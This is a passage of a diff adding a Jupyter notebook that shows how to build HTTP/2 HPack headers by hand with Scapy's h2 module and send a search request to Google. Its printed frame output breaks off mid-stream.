+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 126
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Now that we added all the pseudo-headers, let's add the \"real\" ones. The compression header is in the static table, so we just need to look it up."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "z_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-encoding', 'gzip, deflate')\n",
+      "z_hdr = h2.HPackIndexedHdr(index = z_hdr_idx)\n",
+      "z_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(z_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 16\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 127
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We also need to create the header for our new cookie. Cookie are sensitive. We don't want it to be indexed and we don't want any intermediate to index it. As such, we will use a HPackLitHdrFldWithoutIndexing and with the never_index bit set, here as well. The name \"cookie\", though, happens to be in the RFC7541 static headers table, so we will use it."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "cookie_hdr_idx = tblhdr.get_idx_by_name('cookie')\n",
+      "cookie_str = h2.HPackHdrString(data = h2.HPackZString(cookie[0]))\n",
+      "cookie_hdr = h2.HPackLitHdrFldWithoutIndexing(\n",
+      "    never_index = 1,\n",
+      "    index = cookie_hdr_idx,\n",
+      "    hdr_value = cookie_str\n",
+      ")\n",
+      "cookie_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(cookie_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "  magic     = 0\n",
+        "  never_index= Never Index\n",
+        "  index     = 32\n",
+        "  \\hdr_value \\\n",
+        "   |###[ HPack Header String ]### \n",
+        "   |  type      = None\n",
+        "   |  len       = None\n",
+        "   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 128
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Also, we need to specify that we read French. Once more, the \"accept-language\" header is in the HPack static table, but \"fr-Fr\" might not be. Let's see if we did index that earlier."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "acceptlang_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-language', 'fr-FR')\n",
+      "print(acceptlang_hdr_idx)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "65\n"
+       ]
+      }
+     ],
+     "prompt_number": 129
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Excellent! This is an entry of the dynamic table and we can use it in this session! Let's use it with an HPackIndexedHdr packet."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "acceptlang_hdr = h2.HPackIndexedHdr(index = acceptlang_hdr_idx)\n",
+      "acceptlang_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(acceptlang_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 65\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 130
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's do the same thing quickly for the other headers."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "accept_hdr_idx = tblhdr.get_idx_by_name_and_value('accept', 'text/html')\n",
+      "accept_hdr = h2.HPackIndexedHdr(index = accept_hdr_idx)\n",
+      "accept_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(accept_hdr)\n",
+      "ua_hdr_idx = tblhdr.get_idx_by_name_and_value('user-agent', 'Scapy HTTP/2 Module')\n",
+      "ua_hdr = h2.HPackIndexedHdr(index = ua_hdr_idx)\n",
+      "ua_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(ua_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 64\n",
+        "\n",
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 63\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 131
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Now, we forget a piece in our previous queries regarding privacy: I want to add a Do Not Track header (https://tools.ietf.org/html/draft-mayer-do-not-track-00). Let's add this header into every subsequent queries. For this reason, I want to have it indexed. It is worth noting that the \"DNT\" header is not part of the HPack static table (how curious?). Finally, the value of this header is just 1. We might actually save a few bits by NOT compressing this value."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "dnt_name_str = h2.HPackLiteralString('dnt')\n",
+      "dnt_val_str = h2.HPackLiteralString('1')\n",
+      "dnt_name = h2.HPackHdrString(data = dnt_name_str)\n",
+      "dnt_value = h2.HPackHdrString(data = dnt_val_str)\n",
+      "dnt_hdr = h2.HPackLitHdrFldWithIncrIndexing(\n",
+      "    hdr_name = dnt_name,\n",
+      "    hdr_value = dnt_value\n",
+      ")\n",
+      "dnt_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(dnt_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "  magic     = 1\n",
+        "  index     = 0\n",
+        "  \\hdr_name  \\\n",
+        "   |###[ HPack Header String ]### \n",
+        "   |  type      = None\n",
+        "   |  len       = None\n",
+        "   |  data      = 'HPackLiteralString(dnt)'\n",
+        "  \\hdr_value \\\n",
+        "   |###[ HPack Header String ]### \n",
+        "   |  type      = None\n",
+        "   |  len       = None\n",
+        "   |  data      = 'HPackLiteralString(1)'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 132
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We are not done yet with the DNT header, though. We also need to insert it into the HPack Dynamic table, so that later lookups will find it."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "tblhdr.register(dnt_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 133
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Phew! We made it! Let's see what we got so far."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "hdrs_frm.show2()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0xc5\n",
+        "  type      = HdrsFrm\n",
+        "  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 5L\n",
+        "###[ HTTP/2 Headers Frame ]### \n",
+        "     \\hdrs      \\\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 2\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 7\n",
+        "      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "      |  magic     = 0\n",
+        "      |  never_index= Never Index\n",
+        "      |  index     = 4\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 12\n",
+        "      |   |  data      = 'HPackZString(/search?q=scapy)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 66\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 16\n",
+        "      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "      |  magic     = 0\n",
+        "      |  never_index= Never Index\n",
+        "      |  index     = 32\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 165\n",
+        "      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 65\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 64\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 63\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Literal\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackLiteralString(dnt)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Literal\n",
+        "      |   |  len       = 1\n",
+        "      |   |  data      = 'HPackLiteralString(1)'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 134
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Oh! Just for comparison, we would have got about the same result using the helpers (modulo some safety checks that we did not do here...)."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "tblhdr.parse_txt_hdrs(\n",
+      "    ''':method GET\n",
+      ":scheme https\n",
+      ":path /search?q=scapy\n",
+      ":authority www.google.fr\n",
+      "accept-encoding: gzip, deflate\n",
+      "cookie: {}\n",
+      "accept-language: fr-FR\n",
+      "accept: text/html\n",
+      "user-agent: Scapy HTTP/2 Module\n",
+      "dnt: 1\n",
+      "'''.format(cookie),\n",
+      "    stream_id=5,\n",
+      "    max_frm_sz=srv_max_frm_sz,\n",
+      "    max_hdr_lst_sz=srv_max_hdr_lst_sz,\n",
+      "    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie', ':path'],\n",
+      "    should_index=lambda x: x in [\n",
+      "            'x-requested-with', \n",
+      "            'user-agent', \n",
+      "            'accept-language',\n",
+      "            'host',\n",
+      "            'accept',\n",
+      "            ':authority',\n",
+      "            'dnt'\n",
+      "        ]\n",
+      ").show2()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame Sequence ]### \n",
+        "  \\frames    \\\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = 0xdc\n",
+        "   |  type      = HdrsFrm\n",
+        "   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\n",
+        "   |  reserved  = 0L\n",
+        "   |  stream_id = 5L\n",
+        "   |###[ HTTP/2 Headers Frame ]### \n",
+        "   |     \\hdrs      \\\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 2\n",
+        "   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "   |      |  magic     = 0\n",
+        "   |      |  never_index= Never Index\n",
+        "   |      |  index     = 4\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 30\n",
+        "   |      |   |  data      = 'HPackZString(/?gfe_rd=cr&ei=2B1IWOeIDujt8weIvIH4BQ)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 67\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 7\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 16\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 17\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 4\n",
+        "   |      |   |  data      = 'HPackZString(en-US)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 66\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 65\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 63\n",
+        "   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "   |      |  magic     = 0\n",
+        "   |      |  never_index= Never Index\n",
+        "   |      |  index     = 32\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = Compressed\n",
+        "   |      |   |  len       = 171\n",
+        "   |      |   |  data      = \"HPackZString(['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly'])\"\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 135
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's now send our query to Google and read the answer!"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "srv_global_window -= len(str(hdrs_frm))\n",
+      "assert(srv_global_window >= 0)\n",
+      "ss.send(hdrs_frm)\n",
+      "\n",
+      "h2seq = h2.H2Seq()\n",
+      "\n",
+      "new_frame = None\n",
+      "while isinstance(new_frame, type(None)) or 'ES' not in new_frame.flags:\n",
+      "    # As previously, if we receive a ping, we ackownledge it.\n",
+      "    if not isinstance(new_frame, type(None)) and new_frame.stream_id == 0:\n",
+      "        if new_frame.type == h2.H2PingFrame.type_id:\n",
+      "            new_frame.flags.add('A')\n",
+      "            srv_global_window -= len(str(new_frame))\n",
+      "            assert(srv_global_window >= 0)\n",
+      "            ss.send(new_frame)\n",
+      "            \n",
+      "        assert new_frame.type != h2.H2ResetFrame.type_id \\\n",
+      "            and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n",
+      "            \"Error received; something is not right!\"\n",
+      "        \n",
+      "    try:\n",
+      "        new_frame = ss.recv()\n",
+      "        new_frame.show()\n",
+      "        if new_frame.stream_id == 5:\n",
+      "            h2seq.frames.append(new_frame)\n",
+      "    except:\n",
+      "        import time\n",
+      "        time.sleep(1)\n",
+      "        new_frame = None"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x8\n",
+        "  type      = PingFrm\n",
+        "  flags     = set([])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Ping Frame ]### \n",
+        "     opaque    = 2\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x8\n",
+        "  type      = PingFrm\n",
+        "  flags     = set(['ACK (A)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Ping Frame ]### \n",
+        "     opaque    = 2\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x8\n",
+        "  type      = PingFrm\n",
+        "  flags     = set(['ACK (A)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Ping Frame ]### \n",
+        "     opaque    = 2\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x8\n",
+        "  type      = PingFrm\n",
+        "  flags     = set(['ACK (A)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Ping Frame ]### \n",
+        "     opaque    = 2\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x21\n",
+        "  type      = HdrsFrm\n",
+        "  flags     = set(['End Headers (EH)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 5L\n",
+        "###[ HTTP/2 Headers Frame ]### \n",
+        "     \\hdrs      \\\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 8\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 33\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:36:19 GMT)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 70\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 69\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 68\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 83\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 66\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 75\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 64\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 72\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x1640\n",
+        "  type      = DataFrm\n",
+        "  flags     = set(['Padded (P)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 5L\n",
+        "###[ HTTP/2 Padded Data Frame ]### \n",
+        "     padlen    = 40\n",
+        "     data      = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xa4;\\t\\x97\\x9bF\\x93\\x7f\\x053/c\\xe9\\r\\x928t!\\r\\xe3u\\x92\\x89\\xe3\\xc4I\\x9c\\xc4\\xd9/\\xdf\\xfay\\xf5\\x1ah\\x04\\x19\\x042\\xb4\\xe6\\xb0F\\xffw\\xf7_lU7\\xa0\\xe6\\x90\\xaf5\\xcf\\xd3\\xa2\\xbb\\xba\\xba\\xeb\\xaej\\xe0\\xf2\\x89\\x9fz\\xecaK\\x95\\x90m\\xe2\\xabK\\xfc\\xabD\\x8cnr/\\xddRGU\\xf9\\r\\x028j\\xc8\\xd8v1\\x1a\\xe5^H7d\\x98f\\xeb\\xd1\\x9f\\x94d^\\xf8\\x07\\xcdw1\\xcb_\\x935U\\x95\\x98$kG\\r2\\x15pQ\\xe2_]n(#\\x8a\\x97&\\x8c&\\xccQ\\x19\\xbdg#\\\\d\\xa9x!\\xc9r\\xca\\x9c\\xbf\\xde\\xfc0\\x98\\xab\\nb\\x1f\\xd0\\xf7\\xbb\\xe8\\xd6Q\\xbf\\x13\\xe0\\x837\\xb0\\xae\\xdaD1\\x8a6\\xb0R>r3\\x92\\xf8Q\\xb2\\x1e\\xad\\xd3t\\x1d\\xd3\\xf5\\xc8\\xb8/\\x7f\\xaer\\x06c$\\xf3W^\\x1a\\xa7\\xd9\\xca0\\xe7\\xfev\\xb8M\\xd6\\x82\\x9cm\\x96n\\x1d\\x95\\xa3\\x01\\xecq\\x94\\xdc(aF\\x83\\x0e\\xd4\\x00\\xe9\\xef<6\\x8a\\xbc\\xb4\\xc2\\x1d\\xa7\\x80\\x0b:T%\\xa3\\xb1\\xa3\\xe6a\\x9a1o\\xc7\\x14\\xe8J\\x00\\x1d\\x8bXL\\xafr\\x8fl\\x1f\\x94\\x81\\xf2\\x07\\x05n\\x01\\x8f\\xa8\\xf2\\x82O\\xbf\\x1c\\x89\\xf1\\xcb\\x9c=@s\\xb6vI\\xa6\\x9d\\xadw9\\xcd\\xf6\\x01P8\\xc8\\xa3\\x0ftaX\\xdb\\xfb\\xe5\\x96\\xf8\\xb8\\x87\\x01K\\xb7\\x0bc{\\xaf<\\x896[X\\x8a$ly\\xe0\\xf3\\xf6!\\x8d\\xd6![\\x98\\xe6\\xf6\\xfeP\\xe0(\\'\\xb9)c\\xe9f1\\xab\\xcfC\\xee\\x0fH\\x1c\\xad\\x93E\\x86S\\x0f\\xc3\\xb5\\x1bj\\xf0\\xc7\\xdf\\xbbi\\xe6\\xd3\\xacZ,O\\xe3\\xc8W\\xce<\\xdb\\x9f\\x05\\xc6R\\xda\\x19,\\x85\\x93\\xca\\xb5\\xf5\\xe56\\xcd#\\x16\\xa5\\xc9\\x82\\xb80i\\xc7\\xe8\\x12q\\x98c\\xa0\\xe0.\\xf2Y\\xb80t\\xfd\\x9b\\xc3\\x7fl\\xa8\\x1f\\x11\\x85\\xc4\\xf1\\x1e\\xa6\\x1b\\xf2\\xd6\\x97\\x1b\\x92\\xad\\xa3d\\xc0w\\xb4\\x18N\\xe8fyK3\\x16y$.\\xf6\\n\\x08\\x0b\\x8a\\x838%l\\x11\\xd3\\x80\\x1d\\x0e\\x04\\x11i\\xf8w\\xbc\\xe7\\x84\\xf9\\xd4K3\\xc2\\xf7\\xb2K\\x80\\x18\\x10,\\x95\\xa8\\xafM\\xe0z\\xb18\\xd3uO\\x86\\x80\\xa1H\\x91\\xc7}\\x7fN\\xcdY\\x03$\\xa8\\x81\\xd8\\xba.\\x8f+\\x97#!\\xdaB\\xc2CPEy\\xdf%\\xb5\\x05\\xa3\\x97)\\xd0\\n\\xa3w\\x8b0\\xf2}\\x9a\\x1c\\x86\\xab\\x87\\xd0\\x97U\\x81s\\xfc\\x9f\\xbd\\xe0\\xa55\\xa6\\x9b\\x83\\x9b\\xfa\\x0f\\x1a\\xf35?\\xba\\xd5\\x86[\\x8d\\x08\\xe8\\x80l\\xa2\\xf8aA\\xb2\\x88\\xc4ZN\\x92|\\x00\\xfa\\x10\\x05KF\\xb6\\x83\\x10X\\x1b#{\\x07b\\xd3\\x190\\xb3gN&Z\\xf9_\\xefs\\xac{\\xb1\\xb9\\x85~ J\\xb4Y\\x17J\\x01\\xb7M\\xee/e\\xf9\\x95:\\x87\\x03\\x0b\\xec\\xa8+2\\xb0,\\x0f\"\\r\\xff\\xe62a3\\x1c\\xba\\xd3\\x86\\xef\\x17\\xc4c\\xd1-\\xc5_\\xb7\\x11(\\x13\\xf5\\xb5!\\x03\\x05\\xde\\x95,6\\x0c\\x0f\\x85\\x17\\xb7\\xc4\\x9c\\xa4\\t\\x05\\x8e\\xfd\\xb5\\xf1\\x15\\xb2@;\\xae\\xe4zm|\\xf7\\xadu8\\x0b\\xd2\\x94\\x956\\xb1\\xd0\\x959\\x1a\\n\\xf6)d\\x7f\\x17\\xc2J\\x83|K<\\nx\\xee2\\xb2=\\x84\\x96\\xbc\\xbfiI\\xc9\\x9d\\xa05I\\xb3\\r\\x89\\x97%\\x8b\\x96\\x15\\xda\\xc3YFs\\x05&\\xfbQ\\xbe\\x8d\\xc9\\xc3\"JP\\xf5\\x0eC\\x10d\\xc1\\'\\x94t\\xb7\\xa1\\x0c\\xc0<t\\x10\\xeap\\xadq\\xb9\\xa2o\\xd4\\x18qc\\xe0G\\xce\\xfc}\\x8b\\x97\\x85\\x8cJ\\x0b7\\xad\\xa3\\x05!>}\\xf9!\\x85n\\xe3\\x90\\xc6J\\x1ci;\\xfc\\xbb\\x8f\\xa3\\x1c\\x90\\xa0>\\n\\x96\\x85\\x86\\x96\\xc60\\xa6\\xc1X\\x17=\\x1b\\xf7:\\xf1\\x95\\xd0\\xdc\\xb7\\xe9?\\x0ci9\\x05D\\xad\\xe8\\x8a>\\x9c\\x81\\xc9\\x1e\\xceP\\xfa\\t\\xb9\\x05\\xcevJ\\xa9\\x1a\\x07\\xac\\x85\\x90fS\\xbc>\\xc6\\xe3\\xc3\\x19\\xcc(]\\x13\\xcc\\x8a\\xc96\\xa7\\x8b\\xf2G\\xcd\\x94@\\x9bd\\xf7\\xc6]\\x04\\xceV\\x80\\x87R\\xbf\\x07!\\x84f\\x87a\\x92\\xbaY\\x97\\n\\x0cY~r\\xbd\\xc30W`V)e\\xa1|^\\xeeV=n\\x9cz7\\xa5i\\x8cu\\x14\\x97\\x08(+.P\\xdc\\n*\\xc6\\xa0T\\x8a\\x99d<\\x858Q\\xeb\\x1a\\xb3$C\\x94=\\xb3\\xe7U\\x12C\\x17q\\xc6\\\\_;#\\xe0\\xc9\\xeb\\xbb\\xd9\\x00\\x83\\x8eJx\\xe0\\x10rd\\xb1\\x8a\\xb9\\xa8&M\\xfd]\\xbd|\\x03\\xa6\\xb8\\xfa\\xe9\\x8d\\xdfP\\xbay9\\t\\xec\\x94\\xc93\\xc5\\x9a\\x8d@V\\xa3yh6I\\xb6\\x9a.d^\\x8a2\\x02/\\x9e\\xb0\\xc5\\x00\\x97C\\x8f\\x90kC\\xb7\\xa6\\x92n\\x1a\\xfb\\x07\\xbai\\xf5\\x15;(\\x14^\\xa8\\xed&\\xda\\xd0\\xca\\xa1\\x10\\xdd\\'\\xee\\xf2\\xc44\\xdc\\xf8\\xfd \\x87Y0m\\x15\\xdf\\xf9{\\x11\\x9a\\x06f=\\x9a\\xb6\\\\w\\x9ez\\xa7\\xd4\\x1f\\xc7\\xca\\xd5\\xe7:^\\x80\\xfa\\xf9w\\'\\xc1a\\xac\\x05~\\xb3\\xf6\\xcb>:\\x9b\\x19\\x86{8[\\xdd~\\xebv(\\x07\\xd5\\xf1*\\xed\\x833\\x15\\x99X\\x8f\\xb4\\xbc\\xa7R\\xa1\\t\\xcc6Ae\\x95\\t2{\\xb5\\xb1\\\\\\xc9\\xf5X&\\xef\\xa4/*\\x1af\\xb3\\xd9\\xb2\\xe1+%k\\x148~\\xd4\\xfd\\x13\\xe0\\xe3N\\xf0W\\xe1iR\\xea1\\x86\\x9b\\xd6\\xea\\xcdM\\xf4\\xc9\\t\\x8b\\x92\\xae\\xc3\\xd9m\\xfa\\x11V\\xd5\\xf8\\x80\\x7f\\x80\\xb7\\xbf>x\\x12\\x0fx\\xa8\\x93U\\xb9\\x16\\xfb\\n]\\x9e\\x14\\x0bA\\x02\\xbao\\xa8\\xfd\\x18w\\x9c\\x97[\\x18\\x14\\xb9\\x11\\xa0(:\\x84\\xb6\\xf2]-\\x8f\\x1e\\x88\\x0b\\x9b\\xd2\\xa5K\\xbc\\x9bu\\x96B^S\\xf6\\x06Ap\\x0c)\\x90\\x89\\x12\\x8c\\xa1\\xcbFp\\xe0\\xded\\xf5\\x9a\\xba`\\xc6\\xbf\\xf3\\xbf\\x7f\\xe5n-_x\\x8e\\xf9B\\xcd\\x12x\\xa2\\x80>\\x12\\xe75\\x0c\\x7fR\\xe2\\x93\\x18s\\x7f?\\x88\\x01\\x08\\x95\\xf6\\xf7\\xda\\x00\\xa6|\\xbb\\xcdAZ\\x93w\\x97\\x86\\x85\\xcc\\xf8\\x84\\x86\\xa2 *\\xd1p\\xed\\x14\\x7f\\xc6|\\x1b\\xd9o^\\xc9M\\xf4\\xe1<v\\xe1(\\x1f\\xccapC\\xee\\x0b>[s\\xbdt*\\x95\\xd5\\xd28\\x8e\\xb6y\\x94/\\xdba\\xa0i\\xdau\\xf5\\x13\\xdawk\\xbb\\xfbZ7\\xdfl\\x07\\xaeB^\\xd3\\xe9\\x14fma[\\x1d\\xc8\\xb2\\x9b\\xca\\xb2L\\x03/\\xb4\\x87\\xdf\\xdc\\xca\\x05\\xcc\\xf0Bg\\xf4KP\\xa58\\xb6\\x05\\x1d\\xff\\x1c;<\\x9d;\\t\\xe8\\x90\\xe3\\xc2p\\xf5\\xdd\\xcf\\xebc:;v-\\x1b\\x13\\xb2\\xdc]\\x11)12\\xf4\\x9ak+ \\xbc\\xbd 